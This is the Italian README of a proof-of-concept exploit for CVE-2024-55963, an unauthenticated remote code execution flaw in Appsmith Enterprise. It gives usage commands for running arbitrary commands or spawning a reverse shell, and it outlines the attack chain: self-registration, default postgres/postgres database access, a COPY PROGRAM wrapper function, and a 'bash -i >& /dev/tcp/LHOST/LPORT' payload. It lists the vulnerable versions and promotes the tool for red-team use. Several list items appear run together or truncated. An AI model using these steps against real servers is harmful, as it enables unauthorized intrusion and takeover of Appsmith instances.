
CVE-2024-55963 consente l'esecuzione remota di codice non autenticata sulla piattaforma Appsmith Enterprise a causa di un database PostgreSQL configurato in modo errato incluso di default.
Exploit PoC per CVE‑2024‑55963 che esegue comandi arbitrari o avvia una reverse shell su istanze Appsmith vulnerabili.
Gestisce automaticamente sia i server moderni (con la funzionalità environmentId) sia le build “legacy” molto più vecchie che la precedono, quindi puoi usare un unico script per ogni versione da v1.20 fino all'ultima release vulnerabile v1.51.
# Run an arbitrary command (default is `id`)
python3 appsmith-rce.py https://target.example.com [email protected] password123 "whoami"
# spawn a reverse shell
python3 appsmith-rce.py https://target.example.com [email protected] password123 -revshell <ip> <port>
Nota: Qualsiasi credenziale funziona purché il server consenta la registrazione self‑service. Lo script tenta prima di accedere e, se l'account non esiste, ripiega sulla registrazione.
/api/v1/environments/workspaces/{id}; se manca, passa alla modalità legacy (environmentId vuoto)./api/v1/applications ed estrae pageId.localhost:5432 con credenziali postgres/postgres (consentite dal pg_hba.conf predefinito vulnerabile).exec_cmd() e una tabella temporanea cmd_output che raccoglie STDOUT.SELECT * FROM exec_cmd('<your cmd>') tramite l'endpoint /api/v1/actions/executebash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'requests| Versione Appsmith | Risultato |
|---|---|
| 1.51 | ✅ RCE |
| 1.45 | ✅ RCE |
| 1.30 | ✅ RCE, percorso legacy |
| 1.52+ | ❌ Corretta – la creazione della funzione fallisce |
Questo PoC è un piccolo miglioramento rispetto all'exploit di Rhino Security Labs (non avevo realizzato che avessero già un PoC pubblico quando stavo revisionando la ricerca).
Il PoC di Rhino utilizza header, cookie e credenziali statici. Durante il test di quell'exploit ho incontrato problemi quando l'account esisteva già su versioni specifiche. Questo script consente all'utente di inserire qualsiasi combinazione email/password scelta da riga di comando. Come già detto, il token CSRF viene estratto invece di fare affidamento su valori hardcoded.
Environments API.COPY PROGRAM all'interno del wrapper PL/pgSQL exec_cmd() e usa l'API /actions/execute, ma è probabilmente più rumoroso. Rhino si affida all'endpoint integrato di anteprima dello schema per emettere un'istruzione COPY (SELECT …) ad hoc. Quell'endpoint tronca la lunghezza dell'output e aggiunge regole di quoting extra, quindi comandi lunghi o payload concatenati sono più difficili da passare.pyfigletenvironmentId. L'exploit di Rhino presuppone che sia sempre presente.Insieme, queste scelte progettuali rendono l'exploit più corto, più affidabile e più adatto all'uso red‑team, dimostrando comunque la stessa vulnerabilità sottostante.
Questo codice è fornito solo per scopi educativi e test autorizzati. Eseguirlo contro sistemi che non possiedi o per cui non hai esplicito permesso di test è probabilmente illegale. Gli autori declinano ogni responsabilità per un uso improprio.